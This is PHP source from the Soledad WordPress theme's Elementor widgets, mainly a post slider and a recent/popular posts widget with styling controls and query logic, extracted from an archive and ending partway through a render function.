		$this->add_control( 'heading_pmeta_style', array(
			'label' => __( 'Post Meta', 'soledad' ),
			'type'  => Controls_Manager::HEADING
		) );

		$this->add_control( 'pmeta_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-widget-slide-detail .slide-item-date' => 'color: {{VALUE}};',
			)
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'pmeta_typo',
			'selector' => '{{WRAPPER}} .penci-widget-slide-detail .slide-item-date'
		) );
		$this->end_controls_section();
		$this->register_block_title_style_section_controls();

	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {
		$settings = $this->get_settings();

		$original_postype = $settings['posts_post_type'];

		if ( in_array( $original_postype, [
				'current_query',
				'related_posts'
			] ) && penci_elementor_is_edit_mode() && penci_is_builder_template() ) {
			$settings['posts_post_type'] = 'post';
		}

		$query_args = Query_Control::get_query_args( 'posts', $settings );
		if ( in_array( $original_postype, [ 'current_query', 'related_posts' ] ) ) {
			$paged  = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
			$ppp    = $settings['posts_per_page'] ? $settings['posts_per_page'] : get_option( 'posts_per_page' );
			$ppp    = isset( $settings['arposts_per_page'] ) && $settings['arposts_per_page'] ? $settings['arposts_per_page'] : $ppp;
			$offset = 0;
			if ( $ppp ) {
				$query_args['posts_per_page'] = $ppp;
			}
			if ( $settings['arposts_new'] == 'yes' ) {
				$query_args['paged'] = 1;
			}
			if ( 0 < $settings['offset'] ) {
				$offset = $settings['offset'];
			}

			if ( ! empty( $settings['offset'] ) && $paged > 1 ) {
				$offset = $settings['offset'] + ( ( $paged - 1 ) * $ppp );
			}

			if ( $offset ) {
				$query_args['offset'] = $offset;
			}
		}
		$loop = new \WP_Query( $query_args );

		if ( ! $loop->have_posts() ) {
			return;
		}

		$rand = rand( 100, 10000 );

		$dis_lazyload = $settings['dis_lazyload'];
		if ( get_theme_mod( 'penci_disable_lazyload_layout' ) ) {
			$dis_lazyload = false;
		}

		$style = $settings['penci_style'] ? $settings['penci_style'] : 'style-1';

		$css_class = 'penci-block-vc penci_post-slider-sc';
		$dataauto  = 'false';
		if ( $settings['enable_autoplay'] ) {
			$dataauto = 'true';
		}

		$thumbsize = penci_featured_images_size();
		if ( 'horizontal' == $settings['penci_size'] ) {
			$thumbsize = 'penci-thumb';
		} else if ( 'square' == $settings['penci_size'] ) {
			$thumbsize = 'penci-thumb-square';
		} else if ( 'vertical' == $settings['penci_size'] ) {
			$thumbsize = 'penci-thumb-vertical';
		} else if ( 'custom' == $settings['penci_size'] ) {
			if ( $settings['thumb_size'] ) {
				$thumbsize = $settings['thumb_size'];
			}
		}
		?>
        <div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
            <div class="penci-block_content">
                <div id="penci-postslidewg-<?php echo sanitize_text_field( $rand ); ?>"
                     class="penci-owl-carousel swiper penci-owl-carousel-slider penci-widget-slider penci-post-slider-<?php echo $style; ?>"
                     data-lazy="true" data-auto="<?php echo $dataauto; ?>">
                    <div class="swiper-wrapper">
						<?php while ( $loop->have_posts() ) : $loop->the_post(); ?>
                            <div class="penci-slide-widget swiper-slide">
                                <div class="penci-slide-content">
									<?php if ( $style != 'style-3' ) { ?>

                                        <span <?php echo penci_layout_bg( penci_get_image_size_url( penci_image_srcset( get_the_ID(), $thumbsize ) ), ! $dis_lazyload ); ?> class="<?php echo penci_layout_bg_class(! $dis_lazyload);?> penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                                              title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                                            <?php echo penci_layout_img( penci_get_image_size_url( penci_image_srcset( get_the_ID(), $thumbsize ) ), get_the_title(), ! $dis_lazyload ); ?>
                                        </span>

                                        <a href="<?php the_permalink() ?>" class="penci-widget-slider-overlay"
                                           title="<?php the_title(); ?>"></a>
									<?php } else { ?>

                                        <a <?php echo penci_layout_bg( penci_get_image_size_url( penci_image_srcset( get_the_ID(), $thumbsize ) ), ! $dis_lazyload ); ?> href="<?php the_permalink() ?>" class="<?php echo penci_layout_bg_class(! $dis_lazyload);?> penci-image-holder"
                                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
											<?php echo penci_layout_img( penci_get_image_size_url( penci_image_srcset( get_the_ID(), $thumbsize ) ), get_the_title(), ! $dis_lazyload ); ?>
                                        </a>

									<?php } ?>
                                    <div class="penci-widget-slide-detail">
                                        <h4>
                                            <a href="<?php the_permalink() ?>" rel="bookmark"
                                               title="<?php the_title(); ?>"><?php penci_trim_post_title( get_the_ID(), $settings['_title_length'] ); ?></a>
                                        </h4>
										<?php if ( ! $settings['hide_pdate'] ) : ?>
											<?php
											$date_format = get_option( 'date_format' );
											?>
											<?php if ( ! get_theme_mod( 'penci_show_modified_date' ) ) { ?>
                                                <span class="slide-item-date"><?php the_time( $date_format ); ?></span>
											<?php } else { ?>
                                                <span class="slide-item-date"><?php echo get_the_modified_date( $date_format ); ?></span>
											<?php } ?>
										<?php endif; ?>
                                    </div>
                                </div>
                            </div>
						<?php endwhile; ?>
                    </div>
                </div>

				<?php
				wp_reset_postdata();
				?>
            </div>
        </div>
		<?php
	}
}
PK     0w\l'k      /  elementor/modules/penci-recent-posts/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciRecentPosts;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-recent-posts';
	}

	public function get_widgets() {
		return array( 'PenciRecentPosts' );
	}
}
PK     0w\&3  3  C  elementor/modules/penci-recent-posts/widgets/penci-recent-posts.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciRecentPosts\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Modules\QueryControl\Module as Query_Control;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciRecentPosts extends Base_Widget {

	public function get_name() {
		return 'penci-recent-posts';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Widget Recent/Popular Posts', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-post-list';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'posts' );
	}

	public function get_script_depends() {
		return [ 'penci_widgets_ajax' ];
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section(
			'section_page_layout', array(
				'label' => esc_html__( 'Layout', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$this->add_control(
			'penci_size', array(
				'label'                => __( 'Image Size Type', 'soledad' ),
				'type'                 => Controls_Manager::SELECT,
				'default'              => '',
				'options'              => array(
					''           => esc_html__( 'Default', 'soledad' ),
					'horizontal' => esc_html__( 'Horizontal Size', 'soledad' ),
					'square'     => esc_html__( 'Square Size', 'soledad' ),
					'vertical'   => esc_html__( 'Vertical Size', 'soledad' ),
					'custom'     => esc_html__( 'Custom', 'soledad' ),
				),
				'selectors'            => array( '{{WRAPPER}} .penci-image-holder:before' => '{{VALUE}}', ),
				'selectors_dictionary' => array(
					'horizontal' => 'padding-top: 66.6667%;',
					'square'     => 'padding-top: 100%;',
					'vertical'   => 'padding-top: 135.4%;',
				),
			)
		);
		$this->add_responsive_control(
			'penci_img_ratio', array(
				'label'          => __( 'Image Ratio', 'soledad' ),
				'type'           => Controls_Manager::SLIDER,
				'default'        => array( 'size' => 0.66 ),
				'tablet_default' => array( 'size' => '' ),
				'mobile_default' => array( 'size' => 0.5 ),
				'range'          => array( 'px' => array( 'min' => 0.1, 'max' => 2, 'step' => 0.01 ) ),
				'selectors'      => array(
					'{{WRAPPER}} .penci-image-holder:before' => 'padding-top: calc( {{SIZE}} * 100% );',
				),
				'condition'      => array( 'penci_size' => 'custom' ),
			)
		);
		$this->add_control(
			'thumb_size', array(
				'label'     => __( 'Custom Image size', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => $this->get_list_image_sizes( true ),
				'condition' => array( 'penci_size' => 'custom' ),
			)
		);

		$this->add_control(
			'thumb_bigsize', array(
				'label'     => __( 'Custom Image size for Featured Posts', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => $this->get_list_image_sizes( true ),
				'condition' => array( 'penci_size' => 'custom' ),
			)
		);

		$this->add_control(
			'title_length', array(
				'label'       => __( 'Custom words length for post titles', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'description' => __( 'If your post titles is too long - You can use this option for trim it. Fill number value here.', 'soledad' ),
			)
		);

		$this->add_control(
			'dotstyle', array(
				'label'   => __( 'Show Timeline Dots?', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''   => esc_html__( "Don't Show", 'soledad' ),
					's1' => esc_html__( 'Show with Color Style', 'soledad' ),
					's2' => esc_html__( 'Show with Hover Style', 'soledad' ),
					's3' => esc_html__( 'Show with Animation Style', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'movemeta', array(
				'label'   => __( 'Move post meta to display above post title?', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => '',
			)
		);

		$this->add_control(
			'hide_thumb', array(
				'label'   => __( 'Hide thumbnail', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => '',
			)
		);
		$this->add_control(
			'thumbright', array(
				'label'     => __( 'Display thumbnail on right?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => '',
				'condition' => array( 'hide_thumb!' => 'yes' ),
			)
		);
		$this->add_control(
			'twocolumn', array(
				'label'       => __( 'Display on 2 columns?', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'description' => __( 'If you use 2 columns option, it will ignore option display thumbnail on right.', 'soledad' ),
			)
		);
		$this->add_control(
			'featured', array(
				'label' => __( 'Display 1st post featured?', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);
		$this->add_control(
			'featured2', array(
				'label' => __( 'Display featured post style 2?', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);
		$this->add_control(
			'allfeatured', array(
				'label'       => __( 'Display all post featured?', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'description' => __( 'If you use all post featured option, it will ignore option display thumbnail on right & 2 columns.', 'soledad' ),
			)
		);
		$this->add_control(
			'show_author', array(
				'label' => __( 'Show Author Name?', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);
		$this->add_control(
			'hide_postdate', array(
				'label' => __( 'Hide post date?', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);
		$this->add_control(
			'show_comment', array(
				'label' => __( 'Show Comment Count?', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);
		$this->add_control(
			'show_postviews', array(
				'label' => __( 'Show Post Views?', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);
		$this->add_control(
			'icon_format', array(
				'label' => __( 'Enable icon post format?', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);
		$this->add_control(
			'ordernum', array(
				'label' => __( 'Show the order numbers?', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);
		$this->add_control(
			'ordernum_style', array(
				'label'     => __( 'Order Number Style', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'condition' => [ 'ordernum' => 'yes' ],
				'default'   => '1',
				'options'   => array(
					'1' => esc_html__( 'Style 1', 'soledad' ),
					'2' => esc_html__( 'Style 2', 'soledad' ),
					'3' => esc_html__( 'Style 3', 'soledad' ),
					'4' => esc_html__( 'Style 4', 'soledad' ),
				),
			)
		);

		$this->add_responsive_control(
			'imgwidth', array(
				'label'       => __( 'Custom Image Width', 'soledad' ),
				'description' => __( 'This option doesn\'t apply for featured posts.', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'range'       => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
				'selectors'   => array(
					'{{WRAPPER}} ul.side-newsfeed li .penci-image-holder.small-fix-size' => 'width: {{SIZE}}px'
				),
				'condition'   => array( 'hide_thumb!' => 'yes' ),
			)
		);

		$this->add_control(
			'showborder', array(
				'label'     => __( 'Remove Border at The Bottom?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'selectors' => array(
					'{{WRAPPER}} ul.side-newsfeed:not(.penci-feed-2columns) li' 				=> 'border-bottom: none',
					'{{WRAPPER}} .side-newsfeed.penci-vscroll .js-marquee-wrapper .js-marquee'  => 'border-bottom: none'
				)
			)
		);

		$this->add_control(
			'rp_rows_gap', array(
				'label'              => __( 'Rows Gap', 'soledad' ),
				'type'               => Controls_Manager::SLIDER,
				'range'              => array( 'px' => array( 'min' => 0, 'max' => 200 ) ),
				'frontend_available' => true,
				'selectors'          => array(
					'{{WRAPPER}} .side-newsfeed.penci-vscroll .js-marquee-wrapper .js-marquee' => 'margin-bottom: calc({{SIZE}}{{UNIT}}/2); padding-bottom: calc({{SIZE}}{{UNIT}}/2)',
					'{{WRAPPER}} ul.side-newsfeed:not(.penci-feed-2columns) li' 			   => 'margin-bottom: calc({{SIZE}}{{UNIT}}/2); padding-bottom: calc({{SIZE}}{{UNIT}}/2)',
					'{{WRAPPER}} ul.penci-feed-2columns li'                     			   => 'margin-bottom: {{SIZE}}{{UNIT}}',
				),
			)
		);

		$this->add_control( 'ajaxnav', array(
			'label'   => __( 'Ajax Posts Navigation?', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => [
				''    => 'Disable',
				'nav' => 'Next/Previous Buttons',
				'btn' => 'Load More Posts Button',
			]
		) );
		
		$this->add_control( 'vertical_scroll', array(
			'label'   	  => __( 'Enable Vertical Scroll?', 'soledad' ),
			'description' => __( 'This option only affects the front end.', 'soledad' ),
			'type'    	  => Controls_Manager::SWITCHER,
		) );
		
		$this->add_responsive_control( 'vertical_scroll_height', array(
			'label'   	=> __( 'Scroll Height', 'soledad' ),
			'type'    	=> Controls_Manager::SLIDER,
			'condition' => [ 'vertical_scroll' => 'yes' ],
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 2000, ) ),
			'selectors' => array( '{{WRAPPER}} ul.side-newsfeed' => 'max-height: {{SIZE}}px' ),
		) );
		
		$this->add_control( 'vertical_scroll_speed', array(
			'label'   	=> __( 'Scroll Speed', 'soledad' ),
			'type'    	=> Controls_Manager::NUMBER,
			'condition' => [ 'vertical_scroll' => 'yes' ],
		) );
		
		$this->add_control( 'vertical_scroll_spacing', array(
			'label'   	=> __( 'Scroll Spacing', 'soledad' ),
			'type'    	=> Controls_Manager::NUMBER,
			'default' 	=> 20,
			'condition' => [ 'vertical_scroll' => 'yes' ],
		) );

		$this->end_controls_section();
		$this->register_query_section_controls();
		$this->register_block_title_section_controls();
		$this->start_controls_section(
			'section_post_style',
			array(
				'label' => __( 'Post', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);
		$this->add_control(
			'pborder_color', array(
				'label'     => __( 'Borders Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .side-newsfeed.penci-vscroll .js-marquee-wrapper .js-marquee'                                                   => 'border-bottom: 1px solid {{VALUE}};',
					'{{WRAPPER}} ul.side-newsfeed li, {{WRAPPER}} .side-newsfeed.pctlst'                                                         => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .side-newsfeed.pctlst.pctl-s2 .penci-feed:before, {{WRAPPER}} .side-newsfeed.pctlst.pctl-s3 .penci-feed:before' => 'background-color: {{VALUE}};',
				)
			)
		);
		$this->add_control(
			'pborder_timeline', array(
				'label'     => __( 'Border Colors for Timeline Dots', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => array( 'dotstyle!' => '' ),
				'selectors' => array(
					'{{WRAPPER}} .side-newsfeed.pctlst' => 'border-color: {{VALUE}};',
				)
			)
		);
		$this->add_control(
			'dotbg', array(
				'label'     => __( 'Dots Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => array( 'dotstyle!' => '' ),
				'selectors' => array(
					'{{WRAPPER}} .side-newsfeed.pctlst .penci-feed:before' => 'background-color: {{VALUE}};',
				)
			)
		);

		$this->add_control(
			'dothbg', array(
				'label'     => __( 'Dots Hover/Animation Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => array( 'dotstyle' => array( 's2', 's3' ) ),
				'selectors' => array(
					'{{WRAPPER}} .side-newsfeed.pctlst.pctl-s2 .penci-feed:hover:before,{{WRAPPER}} .side-newsfeed.pctlst.pctl-s3 .penci-feed:after' => 'background-color: {{VALUE}};',
				)
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'ordernum_typo',
				'label'    => __( 'Order Number Typo', 'soledad' ),
				'selector' => '{{WRAPPER}} ul.order-numbers-3 li .number-post,{{WRAPPER}} .order-numbers-4.display-order-numbers li .side-image:before,{{WRAPPER}} ul.side-newsfeed li .number-post,{{WRAPPER}} .order-numbers-2.display-order-numbers li .side-item-text:before',
			)
		);
		$this->add_control(
			'ordernum_bgcolor', array(
				'label'     => __( 'Order Number Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [ 'ordernum_style!' => '2' ],
				'selectors' => array(
					'{{WRAPPER}} ul.order-numbers-3 li .number-post'                           => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .order-numbers-4.display-order-numbers li .side-image:before' => 'background-color: {{VALUE}};',
					'{{WRAPPER}} ul.side-newsfeed li .number-post'                             => 'background-color: {{VALUE}};',
				)
			)
		);
		$this->add_control(
			'ordernum_color', array(
				'label'     => __( 'Order Number Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} ul.order-numbers-3 li .number-post'                               => 'color: {{VALUE}};',
					'{{WRAPPER}} .order-numbers-4.display-order-numbers li .side-image:before'     => 'color: {{VALUE}};',
					'{{WRAPPER}} ul.side-newsfeed li .number-post'                                 => 'color: {{VALUE}};',
					'{{WRAPPER}} .order-numbers-2.display-order-numbers li .side-item-text:before' => 'color: {{VALUE}};',
				)
			)
		);
		$this->add_control(
			'ordernum_bdcolor', array(
				'label'     => __( 'Order Number Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [ 'ordernum_style!' => '2' ],
				'selectors' => array(
					'{{WRAPPER}} ul.order-numbers-3 li .number-post'                           => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .order-numbers-4.display-order-numbers li .side-image:before' => 'border-color: {{VALUE}};',
					'{{WRAPPER}} ul.side-newsfeed li .number-post'                             => 'border-color: {{VALUE}};',
				)
			)
		);
		$this->add_responsive_control(
			'ordernum_size', array(
				'label'     => __( 'Order Number Box Size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => array( 'size' => '' ),
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'condition' => [ 'ordernum_style!' => '2' ],
				'selectors' => array(
					'{{WRAPPER}} ul.side-newsfeed'                                                                                                      => '--oboxsize: {{SIZE}}px;',
					'{{WRAPPER}} ul.side-newsfeed.order-numbers-1 li .order-border-number,{{WRAPPER}} ul.side-newsfeed.order-numbers-1 li .number-post' => 'width: {{SIZE}}px;height: {{SIZE}}px;line-height:calc({{SIZE}}px - 2px);',
				)
			)
		);
		$this->add_control(
			'heading_ptitle_style', array(
				'label' => __( 'Post Title', 'soledad' ),
				'type'  => Controls_Manager::HEADING
			)
		);

		$this->add_control(
			'ptitle_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} ul.side-newsfeed li .side-item .side-item-text h4 a' => 'color: {{VALUE}};',
					'{{WRAPPER}} ul.side-newsfeed li .side-item .side-item-text h4'   => 'color: {{VALUE}};',
					'{{WRAPPER}} .popularpost_item .pcpopular_new_post_title'         => 'color: {{VALUE}};',
					'{{WRAPPER}} .popularpost_item .pcpopular_new_post_title a'       => 'color: {{VALUE}};',
				)
			)
		);
		$this->add_control(
			'ptitle_hcolor', array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} ul.side-newsfeed li .side-item .side-item-text h4 a:hover' => 'color: {{VALUE}};',
					'{{WRAPPER}} .popularpost_item .pcpopular_new_post_title a:hover'       => 'color: {{VALUE}};',
				)
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'ptitle_typo',
				'selector' => '{{WRAPPER}} ul.side-newsfeed li .side-item .side-item-text h4 a,{{WRAPPER}}  ul.side-newsfeed li .side-item .side-item-text h4, {{WRAPPER}} .popularpost_item .pcpopular_new_post_title a, {{WRAPPER}} .popularpost_item .pcpopular_new_post_title'
			)
		);

		$this->add_responsive_control(
			'featitle_size', array(
				'label'     => __( 'Font size for Featured/Big Post', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array(
					'{{WRAPPER}} ul.side-newsfeed li.featured-news .side-item .side-item-text h4 a' => 'font-size: {{SIZE}}px'
				),
			)
		);

		$this->add_control(
			'heading_pmeta_style', array(
				'label' => __( 'Post Meta', 'soledad' ),
				'type'  => Controls_Manager::HEADING
			)
		);

		$this->add_control(
			'pmeta_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} ul.side-newsfeed li .side-item .side-item-text .side-item-meta' => 'color: {{VALUE}};',
					'{{WRAPPER}} .popularpost_meta'                                              => 'color: {{VALUE}};',
				)
			)
		);
		$this->add_control(
			'pmeta_acolor', array(
				'label'     => __( 'Color for Author Name & Comment Count', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} ul.side-newsfeed li .side-item .side-item-text .side-item-meta a' => 'color: {{VALUE}};',
					'{{WRAPPER}} .popularpost_meta a'                                              => 'color: {{VALUE}};',
				)
			)
		);
		$this->add_control(
			'pmeta_ahcolor', array(
				'label'     => __( 'Hover Color for Author Name & Comment Count', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} ul.side-newsfeed li .side-item .side-item-text .side-item-meta a:hover' => 'color: {{VALUE}};',
					'{{WRAPPER}} .popularpost_meta a:hover'                                              => 'color: {{VALUE}};',
				)
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'pmeta_typo',
				'selector' => '{{WRAPPER}} ul.side-newsfeed li .side-item .side-item-text .side-item-meta, {{WRAPPER}} .popularpost_meta',
			)
		);

		$this->end_controls_section();

		$this->start_controls_section( 'post_navigation_style', array(
			'label'     => __( 'Post Navigation', 'soledad' ),
			'tab'       => Controls_Manager::TAB_STYLE,
			'condition' => [ 'ajaxnav!' => '' ]
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'post_nav_btn_typo',
			'label'    => __( 'Button Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn .pcnav-title, {{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button',
		) );

		$this->add_control( 'post_nav_btn_color', array(
			'label'     => __( 'Button Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn .pcnav-title' => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button'                                                       => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_bdcolor', array(
			'label'     => __( 'Button Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn .pcnav-title' => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button'                                                       => 'border-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_bgcolor', array(
			'label'     => __( 'Button Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn .pcnav-title' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button'                                                       => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_hcolor', array(
			'label'     => __( 'Button Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover .pcnav-title' => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover'                                                             => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_bdhcolor', array(
			'label'     => __( 'Button Border Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover .pcnav-title' => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover'                                                             => 'border-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_bghcolor', array(
			'label'     => __( 'Button Background Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover .pcnav-title' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover'                                                             => 'background-color: {{VALUE}};',
			),
		) );

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {
		$settings         = $this->get_settings();
		$penci_size       = isset( $settings['penci_size'] ) ? $settings['penci_size'] : '';
		$dotstyle         = $settings['dotstyle'] ? $settings['dotstyle'] : '';
		$thumb_size       = $settings['thumb_size'] ? $settings['thumb_size'] : '';
		$thumb_bigsize    = $settings['thumb_bigsize'] ? $settings['thumb_bigsize'] : '';
		$original_postype = $settings['posts_post_type'];

		if ( in_array( $original_postype, [
				'current_query',
				'related_posts'
			] ) && penci_elementor_is_edit_mode() && penci_is_builder_template() ) {
			$settings['posts_post_type'] = 'post';
		}

